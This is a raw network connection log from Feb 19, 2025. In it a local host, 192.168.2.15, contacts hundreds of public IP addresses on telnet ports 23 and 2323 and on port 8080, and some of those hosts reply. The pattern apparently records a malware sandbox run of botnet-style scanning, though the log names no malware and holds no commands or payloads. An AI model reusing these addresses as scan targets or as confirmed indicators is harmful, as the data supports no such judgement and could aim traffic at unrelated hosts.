Feb 19, 2025 19:48:54.994995117 CET	7173	8080	192.168.2.15	31.190.26.138
Feb 19, 2025 19:48:54.994987965 CET	7173	8080	192.168.2.15	62.167.39.120
Feb 19, 2025 19:48:54.994991064 CET	9989	23	192.168.2.15	213.118.168.200
Feb 19, 2025 19:48:54.994991064 CET	7173	8080	192.168.2.15	94.84.149.80
Feb 19, 2025 19:48:54.994991064 CET	9989	23	192.168.2.15	115.154.116.55
Feb 19, 2025 19:48:54.994987965 CET	9989	2323	192.168.2.15	113.246.104.77
Feb 19, 2025 19:48:54.994987965 CET	9989	23	192.168.2.15	84.7.235.196
Feb 19, 2025 19:48:54.994995117 CET	9989	23	192.168.2.15	53.125.93.45
Feb 19, 2025 19:48:54.994995117 CET	7173	8080	192.168.2.15	31.127.173.82
Feb 19, 2025 19:48:54.995001078 CET	9989	23	192.168.2.15	146.177.123.96
Feb 19, 2025 19:48:54.995001078 CET	7173	8080	192.168.2.15	94.113.207.57
Feb 19, 2025 19:48:54.995001078 CET	7173	8080	192.168.2.15	94.202.182.182
Feb 19, 2025 19:48:54.995001078 CET	9989	23	192.168.2.15	73.1.77.154
Feb 19, 2025 19:48:54.995001078 CET	9989	23	192.168.2.15	203.25.129.197
Feb 19, 2025 19:48:54.995001078 CET	9989	23	192.168.2.15	44.132.3.205
Feb 19, 2025 19:48:54.995001078 CET	7173	8080	192.168.2.15	94.20.34.143
Feb 19, 2025 19:48:54.995001078 CET	9989	23	192.168.2.15	164.42.172.28
Feb 19, 2025 19:48:54.995004892 CET	9989	23	192.168.2.15	47.253.252.221
Feb 19, 2025 19:48:54.995004892 CET	9989	23	192.168.2.15	93.229.63.211
Feb 19, 2025 19:48:54.995004892 CET	9989	23	192.168.2.15	84.58.211.230
Feb 19, 2025 19:48:54.995006084 CET	7173	8080	192.168.2.15	62.40.87.232
Feb 19, 2025 19:48:54.995007038 CET	9989	2323	192.168.2.15	192.52.189.129
Feb 19, 2025 19:48:54.995004892 CET	9989	2323	192.168.2.15	120.81.12.251
Feb 19, 2025 19:48:54.995007038 CET	9989	23	192.168.2.15	52.70.123.146
Feb 19, 2025 19:48:54.995007038 CET	9989	23	192.168.2.15	161.8.32.252
Feb 19, 2025 19:48:54.995006084 CET	9989	2323	192.168.2.15	153.169.78.13
Feb 19, 2025 19:48:54.995006084 CET	7173	8080	192.168.2.15	95.219.38.8
Feb 19, 2025 19:48:54.995004892 CET	9989	23	192.168.2.15	196.120.79.195
Feb 19, 2025 19:48:54.995007038 CET	7173	8080	192.168.2.15	62.146.107.237
Feb 19, 2025 19:48:54.995006084 CET	9989	23	192.168.2.15	53.248.2.229
Feb 19, 2025 19:48:54.995007038 CET	9989	23	192.168.2.15	146.231.75.197
Feb 19, 2025 19:48:54.995006084 CET	7173	8080	192.168.2.15	95.122.218.205
Feb 19, 2025 19:48:54.995012999 CET	7173	8080	192.168.2.15	95.155.222.28
Feb 19, 2025 19:48:54.995009899 CET	9989	23	192.168.2.15	146.39.191.223
Feb 19, 2025 19:48:54.995007038 CET	9989	23	192.168.2.15	142.55.249.57
Feb 19, 2025 19:48:54.995006084 CET	7173	8080	192.168.2.15	31.59.180.160
Feb 19, 2025 19:48:54.995012999 CET	9989	23	192.168.2.15	186.225.15.245
Feb 19, 2025 19:48:54.995009899 CET	7173	8080	192.168.2.15	95.1.248.203
Feb 19, 2025 19:48:54.995013952 CET	9989	2323	192.168.2.15	35.37.167.243
Feb 19, 2025 19:48:54.995009899 CET	7173	8080	192.168.2.15	85.217.187.77
Feb 19, 2025 19:48:54.995006084 CET	7173	8080	192.168.2.15	94.6.251.180
Feb 19, 2025 19:48:54.995009899 CET	7173	8080	192.168.2.15	94.177.127.39
Feb 19, 2025 19:48:54.995019913 CET	9989	23	192.168.2.15	37.123.15.122
Feb 19, 2025 19:48:54.995009899 CET	9989	23	192.168.2.15	185.157.213.131
Feb 19, 2025 19:48:54.995006084 CET	7173	8080	192.168.2.15	31.23.173.38
Feb 19, 2025 19:48:54.995009899 CET	9989	23	192.168.2.15	96.155.156.245
Feb 19, 2025 19:48:54.995009899 CET	9989	2323	192.168.2.15	106.207.129.179
Feb 19, 2025 19:48:54.995009899 CET	7173	8080	192.168.2.15	31.101.3.158
Feb 19, 2025 19:48:54.995027065 CET	9989	23	192.168.2.15	34.94.54.17
Feb 19, 2025 19:48:54.995029926 CET	9989	23	192.168.2.15	9.248.116.219
Feb 19, 2025 19:48:54.995029926 CET	9989	23	192.168.2.15	140.57.8.178
Feb 19, 2025 19:48:54.995029926 CET	7173	8080	192.168.2.15	85.135.247.248
Feb 19, 2025 19:48:54.995033026 CET	9989	23	192.168.2.15	178.60.114.78
Feb 19, 2025 19:48:54.995033026 CET	7173	8080	192.168.2.15	85.197.14.94
Feb 19, 2025 19:48:54.995034933 CET	7173	8080	192.168.2.15	62.177.125.183
Feb 19, 2025 19:48:54.995034933 CET	7173	8080	192.168.2.15	62.151.195.126
Feb 19, 2025 19:48:54.995034933 CET	9989	2323	192.168.2.15	114.24.125.16
Feb 19, 2025 19:48:54.995034933 CET	9989	23	192.168.2.15	50.146.78.67
Feb 19, 2025 19:48:54.995035887 CET	9989	23	192.168.2.15	101.41.183.82
Feb 19, 2025 19:48:54.995035887 CET	9989	23	192.168.2.15	183.216.171.68
Feb 19, 2025 19:48:54.995035887 CET	9989	23	192.168.2.15	169.72.254.250
Feb 19, 2025 19:48:54.995035887 CET	7173	8080	192.168.2.15	31.47.175.192
Feb 19, 2025 19:48:54.995035887 CET	9989	23	192.168.2.15	53.141.230.14
Feb 19, 2025 19:48:54.995035887 CET	9989	23	192.168.2.15	122.28.108.182
Feb 19, 2025 19:48:54.995048046 CET	7173	8080	192.168.2.15	31.19.98.119
Feb 19, 2025 19:48:54.995049000 CET	7173	8080	192.168.2.15	62.139.44.9
Feb 19, 2025 19:48:54.995048046 CET	9989	23	192.168.2.15	78.139.206.249
Feb 19, 2025 19:48:54.995048046 CET	7173	8080	192.168.2.15	85.149.163.76
Feb 19, 2025 19:48:54.995049953 CET	9989	23	192.168.2.15	207.168.84.143
Feb 19, 2025 19:48:54.995048046 CET	9989	23	192.168.2.15	24.116.40.141
Feb 19, 2025 19:48:54.995049953 CET	7173	8080	192.168.2.15	85.89.51.117
Feb 19, 2025 19:48:54.995048046 CET	9989	23	192.168.2.15	63.48.43.226
Feb 19, 2025 19:48:54.995049953 CET	9989	23	192.168.2.15	126.234.199.68
Feb 19, 2025 19:48:54.995053053 CET	9989	23	192.168.2.15	188.201.90.244
Feb 19, 2025 19:48:54.995049000 CET	7173	8080	192.168.2.15	31.118.227.166
Feb 19, 2025 19:48:54.995049953 CET	9989	23	192.168.2.15	64.200.241.5
Feb 19, 2025 19:48:54.995054007 CET	7173	8080	192.168.2.15	85.152.248.188
Feb 19, 2025 19:48:54.995049953 CET	9989	2323	192.168.2.15	146.21.126.209
Feb 19, 2025 19:48:54.995054960 CET	7173	8080	192.168.2.15	94.94.0.147
Feb 19, 2025 19:48:54.995053053 CET	7173	8080	192.168.2.15	31.19.138.118
Feb 19, 2025 19:48:54.995049953 CET	7173	8080	192.168.2.15	31.183.27.34
Feb 19, 2025 19:48:54.995054960 CET	7173	8080	192.168.2.15	62.6.253.252
Feb 19, 2025 19:48:54.995052099 CET	9989	23	192.168.2.15	178.200.147.78
Feb 19, 2025 19:48:54.995054960 CET	9989	23	192.168.2.15	54.48.188.175
Feb 19, 2025 19:48:54.995052099 CET	7173	8080	192.168.2.15	62.196.109.171
Feb 19, 2025 19:48:54.995054007 CET	9989	23	192.168.2.15	74.31.55.73
Feb 19, 2025 19:48:54.995054007 CET	9989	23	192.168.2.15	129.193.129.180
Feb 19, 2025 19:48:54.995054007 CET	9989	23	192.168.2.15	204.115.252.100
Feb 19, 2025 19:48:54.995069027 CET	7173	8080	192.168.2.15	85.55.234.163
Feb 19, 2025 19:48:54.995069027 CET	7173	8080	192.168.2.15	31.141.208.66
Feb 19, 2025 19:48:54.995071888 CET	9989	23	192.168.2.15	112.13.93.138
Feb 19, 2025 19:48:54.995075941 CET	9989	23	192.168.2.15	193.102.110.113
Feb 19, 2025 19:48:54.995075941 CET	7173	8080	192.168.2.15	94.204.192.9
Feb 19, 2025 19:48:54.995076895 CET	7173	8080	192.168.2.15	94.18.37.238
Feb 19, 2025 19:48:54.995079994 CET	9989	23	192.168.2.15	220.244.148.238
Feb 19, 2025 19:48:54.995079994 CET	7173	8080	192.168.2.15	94.48.130.155
Feb 19, 2025 19:48:54.995079994 CET	7173	8080	192.168.2.15	31.112.142.18
Feb 19, 2025 19:48:54.995079994 CET	9989	23	192.168.2.15	101.2.45.18
Feb 19, 2025 19:48:54.995079994 CET	9989	23	192.168.2.15	96.222.168.193
Feb 19, 2025 19:48:54.995079994 CET	9989	23	192.168.2.15	183.151.132.251
Feb 19, 2025 19:48:54.995079994 CET	9989	2323	192.168.2.15	148.61.85.33
Feb 19, 2025 19:48:54.995079994 CET	9989	23	192.168.2.15	184.32.101.191
Feb 19, 2025 19:48:54.995081902 CET	9989	23	192.168.2.15	174.118.74.101
Feb 19, 2025 19:48:54.995081902 CET	9989	23	192.168.2.15	190.241.181.89
Feb 19, 2025 19:48:54.995081902 CET	9989	23	192.168.2.15	14.192.144.248
Feb 19, 2025 19:48:54.995081902 CET	9989	23	192.168.2.15	106.11.250.83
Feb 19, 2025 19:48:54.995081902 CET	9989	23	192.168.2.15	82.240.138.61
Feb 19, 2025 19:48:54.995081902 CET	7173	8080	192.168.2.15	94.172.101.156
Feb 19, 2025 19:48:54.995086908 CET	8080	7173	31.66.70.251	192.168.2.15
Feb 19, 2025 19:48:54.995094061 CET	7173	8080	192.168.2.15	85.117.201.125
Feb 19, 2025 19:48:54.995094061 CET	9989	23	192.168.2.15	169.188.194.218
Feb 19, 2025 19:48:54.995094061 CET	9989	23	192.168.2.15	98.83.211.198
Feb 19, 2025 19:48:54.995095015 CET	7173	8080	192.168.2.15	95.28.82.103
Feb 19, 2025 19:48:54.995095015 CET	9989	23	192.168.2.15	107.215.166.109
Feb 19, 2025 19:48:54.995095015 CET	9989	23	192.168.2.15	128.186.62.134
Feb 19, 2025 19:48:54.995096922 CET	7173	8080	192.168.2.15	62.230.197.161
Feb 19, 2025 19:48:54.995096922 CET	9989	23	192.168.2.15	171.202.230.33
Feb 19, 2025 19:48:54.995096922 CET	9989	23	192.168.2.15	72.217.129.108
Feb 19, 2025 19:48:54.995096922 CET	9989	23	192.168.2.15	176.247.198.234
Feb 19, 2025 19:48:54.995100021 CET	9989	23	192.168.2.15	122.203.172.240
Feb 19, 2025 19:48:54.995100021 CET	9989	23	192.168.2.15	2.116.131.133
Feb 19, 2025 19:48:54.995099068 CET	9989	23	192.168.2.15	136.58.138.184
Feb 19, 2025 19:48:54.995099068 CET	9989	23	192.168.2.15	114.92.254.228
Feb 19, 2025 19:48:54.995099068 CET	9989	23	192.168.2.15	210.18.215.205
Feb 19, 2025 19:48:54.995099068 CET	9989	23	192.168.2.15	211.196.155.198
Feb 19, 2025 19:48:54.995102882 CET	9989	23	192.168.2.15	177.140.229.133
Feb 19, 2025 19:48:54.995105028 CET	9989	23	192.168.2.15	155.157.244.134
Feb 19, 2025 19:48:54.995105028 CET	9989	23	192.168.2.15	165.52.84.11
Feb 19, 2025 19:48:54.995106936 CET	9989	2323	192.168.2.15	141.100.191.49
Feb 19, 2025 19:48:54.995110989 CET	9989	23	192.168.2.15	66.222.107.92
Feb 19, 2025 19:48:54.995111942 CET	8080	7173	85.127.32.219	192.168.2.15
Feb 19, 2025 19:48:54.995114088 CET	9989	23	192.168.2.15	54.49.61.177
Feb 19, 2025 19:48:54.995114088 CET	9989	23	192.168.2.15	160.128.182.40
Feb 19, 2025 19:48:54.995121002 CET	9989	2323	192.168.2.15	4.58.145.229
Feb 19, 2025 19:48:54.995121956 CET	8080	7173	94.105.77.149	192.168.2.15
Feb 19, 2025 19:48:54.995124102 CET	9989	23	192.168.2.15	82.117.237.220
Feb 19, 2025 19:48:54.995126009 CET	7173	8080	192.168.2.15	31.66.70.251
Feb 19, 2025 19:48:54.995132923 CET	8080	7173	31.214.147.151	192.168.2.15
Feb 19, 2025 19:48:54.995136976 CET	9989	23	192.168.2.15	112.47.22.86
Feb 19, 2025 19:48:54.995138884 CET	9989	23	192.168.2.15	44.110.64.231
Feb 19, 2025 19:48:54.995142937 CET	7173	8080	192.168.2.15	85.127.32.219
Feb 19, 2025 19:48:54.995143890 CET	8080	7173	95.84.106.157	192.168.2.15
Feb 19, 2025 19:48:54.995153904 CET	8080	7173	95.208.170.131	192.168.2.15
Feb 19, 2025 19:48:54.995162964 CET	8080	7173	95.184.219.117	192.168.2.15
Feb 19, 2025 19:48:54.995167017 CET	7173	8080	192.168.2.15	94.105.77.149
Feb 19, 2025 19:48:54.995172977 CET	7173	8080	192.168.2.15	95.84.106.157
Feb 19, 2025 19:48:54.995176077 CET	7173	8080	192.168.2.15	31.214.147.151
Feb 19, 2025 19:48:54.995186090 CET	7173	8080	192.168.2.15	95.208.170.131
Feb 19, 2025 19:48:54.995207071 CET	7173	8080	192.168.2.15	95.184.219.117
Feb 19, 2025 19:48:54.995613098 CET	8080	7173	94.222.254.70	192.168.2.15
Feb 19, 2025 19:48:54.995623112 CET	8080	7173	85.200.95.255	192.168.2.15
Feb 19, 2025 19:48:54.995634079 CET	8080	7173	94.234.153.206	192.168.2.15
Feb 19, 2025 19:48:54.995644093 CET	8080	7173	85.134.169.148	192.168.2.15
Feb 19, 2025 19:48:54.995644093 CET	7173	8080	192.168.2.15	94.222.254.70
Feb 19, 2025 19:48:54.995654106 CET	8080	7173	62.224.176.126	192.168.2.15
Feb 19, 2025 19:48:54.995659113 CET	8080	7173	85.73.31.183	192.168.2.15
Feb 19, 2025 19:48:54.995661974 CET	7173	8080	192.168.2.15	85.200.95.255
Feb 19, 2025 19:48:54.995662928 CET	8080	7173	62.60.151.254	192.168.2.15
Feb 19, 2025 19:48:54.995666981 CET	7173	8080	192.168.2.15	94.234.153.206
Feb 19, 2025 19:48:54.995667934 CET	8080	7173	31.180.156.198	192.168.2.15
Feb 19, 2025 19:48:54.995678902 CET	8080	7173	94.22.192.173	192.168.2.15
Feb 19, 2025 19:48:54.995685101 CET	7173	8080	192.168.2.15	85.134.169.148
Feb 19, 2025 19:48:54.995687008 CET	7173	8080	192.168.2.15	62.60.151.254
Feb 19, 2025 19:48:54.995692968 CET	7173	8080	192.168.2.15	62.224.176.126
Feb 19, 2025 19:48:54.995698929 CET	8080	7173	85.62.14.39	192.168.2.15
Feb 19, 2025 19:48:54.995709896 CET	8080	7173	85.134.161.117	192.168.2.15
Feb 19, 2025 19:48:54.995709896 CET	7173	8080	192.168.2.15	85.73.31.183
Feb 19, 2025 19:48:54.995711088 CET	7173	8080	192.168.2.15	31.180.156.198
Feb 19, 2025 19:48:54.995712996 CET	7173	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:54.995723009 CET	8080	7173	85.229.224.190	192.168.2.15
Feb 19, 2025 19:48:54.995733976 CET	8080	7173	85.72.211.210	192.168.2.15
Feb 19, 2025 19:48:54.995737076 CET	7173	8080	192.168.2.15	85.62.14.39
Feb 19, 2025 19:48:54.995743036 CET	7173	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:54.995747089 CET	8080	7173	95.104.2.211	192.168.2.15
Feb 19, 2025 19:48:54.995753050 CET	7173	8080	192.168.2.15	85.229.224.190
Feb 19, 2025 19:48:54.995758057 CET	8080	7173	62.187.4.194	192.168.2.15
Feb 19, 2025 19:48:54.995769024 CET	8080	7173	94.175.0.244	192.168.2.15
Feb 19, 2025 19:48:54.995775938 CET	7173	8080	192.168.2.15	85.72.211.210
Feb 19, 2025 19:48:54.995778084 CET	8080	7173	94.82.157.72	192.168.2.15
Feb 19, 2025 19:48:54.995779037 CET	7173	8080	192.168.2.15	95.104.2.211
Feb 19, 2025 19:48:54.995783091 CET	7173	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:54.995788097 CET	8080	7173	94.89.169.159	192.168.2.15
Feb 19, 2025 19:48:54.995793104 CET	8080	7173	31.196.188.142	192.168.2.15
Feb 19, 2025 19:48:54.995798111 CET	8080	7173	85.24.89.56	192.168.2.15
Feb 19, 2025 19:48:54.995800018 CET	7173	8080	192.168.2.15	94.175.0.244
Feb 19, 2025 19:48:54.995803118 CET	8080	7173	85.182.120.251	192.168.2.15
Feb 19, 2025 19:48:54.995830059 CET	7173	8080	192.168.2.15	31.196.188.142
Feb 19, 2025 19:48:54.995831966 CET	7173	8080	192.168.2.15	94.82.157.72
Feb 19, 2025 19:48:54.995836020 CET	7173	8080	192.168.2.15	85.182.120.251
Feb 19, 2025 19:48:54.995836020 CET	7173	8080	192.168.2.15	94.89.169.159
Feb 19, 2025 19:48:54.995842934 CET	7173	8080	192.168.2.15	85.24.89.56
Feb 19, 2025 19:48:54.996526003 CET	8080	7173	95.64.79.87	192.168.2.15
Feb 19, 2025 19:48:54.996536970 CET	8080	7173	94.61.80.238	192.168.2.15
Feb 19, 2025 19:48:54.996546984 CET	8080	7173	62.153.226.232	192.168.2.15
Feb 19, 2025 19:48:54.996556044 CET	8080	7173	31.54.76.12	192.168.2.15
Feb 19, 2025 19:48:54.996565104 CET	8080	7173	85.125.44.40	192.168.2.15
Feb 19, 2025 19:48:54.996567965 CET	7173	8080	192.168.2.15	95.64.79.87
Feb 19, 2025 19:48:54.996576071 CET	8080	7173	95.17.123.193	192.168.2.15
Feb 19, 2025 19:48:54.996583939 CET	7173	8080	192.168.2.15	62.153.226.232
Feb 19, 2025 19:48:54.996586084 CET	8080	7173	62.181.70.168	192.168.2.15
Feb 19, 2025 19:48:54.996583939 CET	7173	8080	192.168.2.15	94.61.80.238
Feb 19, 2025 19:48:54.996592999 CET	7173	8080	192.168.2.15	31.54.76.12
Feb 19, 2025 19:48:54.996597052 CET	8080	7173	85.217.163.85	192.168.2.15
Feb 19, 2025 19:48:54.996602058 CET	7173	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:54.996608973 CET	8080	7173	62.102.138.235	192.168.2.15
Feb 19, 2025 19:48:54.996609926 CET	7173	8080	192.168.2.15	62.181.70.168
Feb 19, 2025 19:48:54.996620893 CET	8080	7173	85.200.114.150	192.168.2.15
Feb 19, 2025 19:48:54.996629953 CET	8080	7173	85.44.109.191	192.168.2.15
Feb 19, 2025 19:48:54.996646881 CET	8080	7173	31.96.8.238	192.168.2.15
Feb 19, 2025 19:48:54.996656895 CET	8080	7173	31.38.128.107	192.168.2.15
Feb 19, 2025 19:48:54.996659994 CET	7173	8080	192.168.2.15	62.102.138.235
Feb 19, 2025 19:48:54.996665955 CET	7173	8080	192.168.2.15	85.200.114.150
Feb 19, 2025 19:48:54.996668100 CET	8080	7173	85.227.253.201	192.168.2.15
Feb 19, 2025 19:48:54.996674061 CET	7173	8080	192.168.2.15	85.44.109.191
Feb 19, 2025 19:48:54.996679068 CET	8080	7173	62.175.93.231	192.168.2.15
Feb 19, 2025 19:48:54.996690989 CET	8080	7173	62.201.151.65	192.168.2.15
Feb 19, 2025 19:48:54.996700048 CET	8080	7173	31.147.97.236	192.168.2.15
Feb 19, 2025 19:48:54.996701956 CET	7173	8080	192.168.2.15	31.38.128.107
Feb 19, 2025 19:48:54.996702909 CET	7173	8080	192.168.2.15	85.227.253.201
Feb 19, 2025 19:48:54.996702909 CET	7173	8080	192.168.2.15	85.125.44.40
Feb 19, 2025 19:48:54.996710062 CET	8080	7173	95.221.230.183	192.168.2.15
Feb 19, 2025 19:48:54.996716022 CET	7173	8080	192.168.2.15	85.217.163.85
Feb 19, 2025 19:48:54.996718884 CET	8080	7173	95.109.102.187	192.168.2.15
Feb 19, 2025 19:48:54.996721983 CET	7173	8080	192.168.2.15	31.96.8.238
Feb 19, 2025 19:48:54.996730089 CET	8080	7173	85.14.71.97	192.168.2.15
Feb 19, 2025 19:48:54.996735096 CET	7173	8080	192.168.2.15	95.221.230.183
Feb 19, 2025 19:48:54.996738911 CET	7173	8080	192.168.2.15	62.201.151.65
Feb 19, 2025 19:48:54.996740103 CET	8080	7173	31.182.52.132	192.168.2.15
Feb 19, 2025 19:48:54.996740103 CET	7173	8080	192.168.2.15	62.175.93.231
Feb 19, 2025 19:48:54.996751070 CET	8080	7173	95.144.247.14	192.168.2.15
Feb 19, 2025 19:48:54.996752977 CET	7173	8080	192.168.2.15	95.109.102.187
Feb 19, 2025 19:48:54.996753931 CET	7173	8080	192.168.2.15	31.147.97.236
Feb 19, 2025 19:48:54.996754885 CET	7173	8080	192.168.2.15	85.14.71.97
Feb 19, 2025 19:48:54.996761084 CET	8080	7173	95.209.100.23	192.168.2.15
Feb 19, 2025 19:48:54.996769905 CET	7173	8080	192.168.2.15	31.182.52.132
Feb 19, 2025 19:48:54.996771097 CET	8080	7173	95.240.45.10	192.168.2.15
Feb 19, 2025 19:48:54.996781111 CET	7173	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:54.996781111 CET	8080	7173	62.159.99.40	192.168.2.15
Feb 19, 2025 19:48:54.996790886 CET	8080	7173	95.68.77.73	192.168.2.15
Feb 19, 2025 19:48:54.996798038 CET	7173	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:54.996800900 CET	8080	7173	95.15.178.71	192.168.2.15
Feb 19, 2025 19:48:54.996810913 CET	8080	7173	95.160.7.229	192.168.2.15
Feb 19, 2025 19:48:54.996814013 CET	7173	8080	192.168.2.15	95.240.45.10
Feb 19, 2025 19:48:54.996814013 CET	7173	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:54.996815920 CET	7173	8080	192.168.2.15	95.68.77.73
Feb 19, 2025 19:48:54.996824980 CET	7173	8080	192.168.2.15	95.15.178.71
Feb 19, 2025 19:48:54.996839046 CET	7173	8080	192.168.2.15	95.160.7.229
Feb 19, 2025 19:48:54.997066975 CET	8080	7173	95.108.173.150	192.168.2.15
Feb 19, 2025 19:48:54.997077942 CET	8080	7173	95.250.40.29	192.168.2.15
Feb 19, 2025 19:48:54.997090101 CET	8080	7173	95.141.97.38	192.168.2.15
Feb 19, 2025 19:48:54.997107029 CET	7173	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:54.997107029 CET	8080	7173	95.62.123.209	192.168.2.15
Feb 19, 2025 19:48:54.997112989 CET	7173	8080	192.168.2.15	95.250.40.29
Feb 19, 2025 19:48:54.997127056 CET	7173	8080	192.168.2.15	95.141.97.38
Feb 19, 2025 19:48:54.997138977 CET	7173	8080	192.168.2.15	95.62.123.209
Feb 19, 2025 19:48:54.997184038 CET	8080	7173	94.85.35.162	192.168.2.15
Feb 19, 2025 19:48:54.997224092 CET	7173	8080	192.168.2.15	94.85.35.162
Feb 19, 2025 19:48:54.997241020 CET	8080	7173	85.76.87.220	192.168.2.15
Feb 19, 2025 19:48:54.997251987 CET	8080	7173	31.86.145.136	192.168.2.15
Feb 19, 2025 19:48:54.997262001 CET	8080	7173	62.94.100.78	192.168.2.15
Feb 19, 2025 19:48:54.997282982 CET	7173	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:54.997282028 CET	7173	8080	192.168.2.15	85.76.87.220
Feb 19, 2025 19:48:54.997293949 CET	7173	8080	192.168.2.15	62.94.100.78
Feb 19, 2025 19:48:54.997312069 CET	8080	7173	95.36.34.229	192.168.2.15
Feb 19, 2025 19:48:54.997347116 CET	8080	7173	85.133.212.77	192.168.2.15
Feb 19, 2025 19:48:54.997356892 CET	8080	7173	94.42.51.67	192.168.2.15
Feb 19, 2025 19:48:54.997364998 CET	7173	8080	192.168.2.15	95.36.34.229
Feb 19, 2025 19:48:54.997389078 CET	7173	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:54.997389078 CET	7173	8080	192.168.2.15	85.133.212.77
Feb 19, 2025 19:48:54.997420073 CET	8080	7173	62.181.18.227	192.168.2.15
Feb 19, 2025 19:48:54.997431040 CET	8080	7173	95.49.231.145	192.168.2.15
Feb 19, 2025 19:48:54.997440100 CET	8080	7173	31.165.246.194	192.168.2.15
Feb 19, 2025 19:48:54.997450113 CET	8080	7173	85.80.29.195	192.168.2.15
Feb 19, 2025 19:48:54.997452974 CET	7173	8080	192.168.2.15	62.181.18.227
Feb 19, 2025 19:48:54.997453928 CET	7173	8080	192.168.2.15	95.49.231.145
Feb 19, 2025 19:48:54.997467041 CET	8080	7173	94.201.206.204	192.168.2.15
Feb 19, 2025 19:48:54.997473955 CET	7173	8080	192.168.2.15	31.165.246.194
Feb 19, 2025 19:48:54.997477055 CET	80	37082	88.140.138.215	192.168.2.15
Feb 19, 2025 19:48:54.997477055 CET	7173	8080	192.168.2.15	85.80.29.195
Feb 19, 2025 19:48:54.997488022 CET	8080	7173	95.160.193.126	192.168.2.15
Feb 19, 2025 19:48:54.997504950 CET	8080	7173	95.77.114.84	192.168.2.15
Feb 19, 2025 19:48:54.997504950 CET	7173	8080	192.168.2.15	94.201.206.204
Feb 19, 2025 19:48:54.997514009 CET	7173	8080	192.168.2.15	95.160.193.126
Feb 19, 2025 19:48:54.997515917 CET	8080	7173	95.11.128.137	192.168.2.15
Feb 19, 2025 19:48:54.997515917 CET	37082	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:54.997535944 CET	7173	8080	192.168.2.15	95.77.114.84
Feb 19, 2025 19:48:54.997539997 CET	7173	8080	192.168.2.15	95.11.128.137
Feb 19, 2025 19:48:54.997548103 CET	8080	7173	31.41.161.109	192.168.2.15
Feb 19, 2025 19:48:54.997558117 CET	8080	7173	95.116.172.70	192.168.2.15
Feb 19, 2025 19:48:54.997566938 CET	8080	7173	31.29.206.100	192.168.2.15
Feb 19, 2025 19:48:54.997582912 CET	7173	8080	192.168.2.15	31.41.161.109
Feb 19, 2025 19:48:54.997586012 CET	7173	8080	192.168.2.15	95.116.172.70
Feb 19, 2025 19:48:54.997594118 CET	8080	7173	62.82.143.68	192.168.2.15
Feb 19, 2025 19:48:54.997598886 CET	7173	8080	192.168.2.15	31.29.206.100
Feb 19, 2025 19:48:54.997605085 CET	8080	7173	94.181.75.9	192.168.2.15
Feb 19, 2025 19:48:54.997613907 CET	8080	7173	31.102.241.149	192.168.2.15
Feb 19, 2025 19:48:54.997632980 CET	7173	8080	192.168.2.15	62.82.143.68
Feb 19, 2025 19:48:54.997632980 CET	7173	8080	192.168.2.15	94.181.75.9
Feb 19, 2025 19:48:54.997636080 CET	8080	7173	62.117.58.214	192.168.2.15
Feb 19, 2025 19:48:54.997641087 CET	7173	8080	192.168.2.15	31.102.241.149
Feb 19, 2025 19:48:54.997647047 CET	8080	7173	94.83.97.152	192.168.2.15
Feb 19, 2025 19:48:54.997672081 CET	7173	8080	192.168.2.15	62.117.58.214
Feb 19, 2025 19:48:54.997673988 CET	7173	8080	192.168.2.15	94.83.97.152
Feb 19, 2025 19:48:54.998522997 CET	8080	7173	95.135.15.89	192.168.2.15
Feb 19, 2025 19:48:54.998533010 CET	8080	7173	31.208.20.41	192.168.2.15
Feb 19, 2025 19:48:54.998544931 CET	8080	7173	85.46.201.12	192.168.2.15
Feb 19, 2025 19:48:54.998565912 CET	7173	8080	192.168.2.15	95.135.15.89
Feb 19, 2025 19:48:54.998568058 CET	8080	7173	62.174.45.39	192.168.2.15
Feb 19, 2025 19:48:54.998572111 CET	7173	8080	192.168.2.15	31.208.20.41
Feb 19, 2025 19:48:54.998574018 CET	7173	8080	192.168.2.15	85.46.201.12
Feb 19, 2025 19:48:54.998595953 CET	8080	7173	94.125.195.95	192.168.2.15
Feb 19, 2025 19:48:54.998603106 CET	7173	8080	192.168.2.15	62.174.45.39
Feb 19, 2025 19:48:54.998605967 CET	8080	7173	85.107.197.233	192.168.2.15
Feb 19, 2025 19:48:54.998631954 CET	7173	8080	192.168.2.15	94.125.195.95
Feb 19, 2025 19:48:54.998635054 CET	7173	8080	192.168.2.15	85.107.197.233
Feb 19, 2025 19:48:54.999178886 CET	8080	7173	62.9.11.148	192.168.2.15
Feb 19, 2025 19:48:54.999187946 CET	8080	7173	94.110.87.110	192.168.2.15
Feb 19, 2025 19:48:54.999197006 CET	8080	7173	85.44.169.128	192.168.2.15
Feb 19, 2025 19:48:54.999207020 CET	8080	7173	95.253.27.164	192.168.2.15
Feb 19, 2025 19:48:54.999212027 CET	7173	8080	192.168.2.15	62.9.11.148
Feb 19, 2025 19:48:54.999221087 CET	7173	8080	192.168.2.15	94.110.87.110
Feb 19, 2025 19:48:54.999227047 CET	7173	8080	192.168.2.15	85.44.169.128
Feb 19, 2025 19:48:54.999234915 CET	7173	8080	192.168.2.15	95.253.27.164
Feb 19, 2025 19:48:55.000204086 CET	8080	7173	31.112.123.5	192.168.2.15
Feb 19, 2025 19:48:55.000214100 CET	8080	7173	94.113.135.227	192.168.2.15
Feb 19, 2025 19:48:55.000222921 CET	8080	7173	95.180.171.156	192.168.2.15
Feb 19, 2025 19:48:55.000243902 CET	7173	8080	192.168.2.15	31.112.123.5
Feb 19, 2025 19:48:55.000250101 CET	7173	8080	192.168.2.15	94.113.135.227
Feb 19, 2025 19:48:55.000257969 CET	7173	8080	192.168.2.15	95.180.171.156
Feb 19, 2025 19:48:55.000338078 CET	8080	7173	62.225.229.204	192.168.2.15
Feb 19, 2025 19:48:55.000348091 CET	8080	7173	31.252.19.8	192.168.2.15
Feb 19, 2025 19:48:55.000356913 CET	8080	7173	85.14.192.125	192.168.2.15
Feb 19, 2025 19:48:55.000366926 CET	8080	7173	31.31.234.216	192.168.2.15
Feb 19, 2025 19:48:55.000372887 CET	7173	8080	192.168.2.15	62.225.229.204
Feb 19, 2025 19:48:55.000375986 CET	8080	7173	85.32.142.65	192.168.2.15
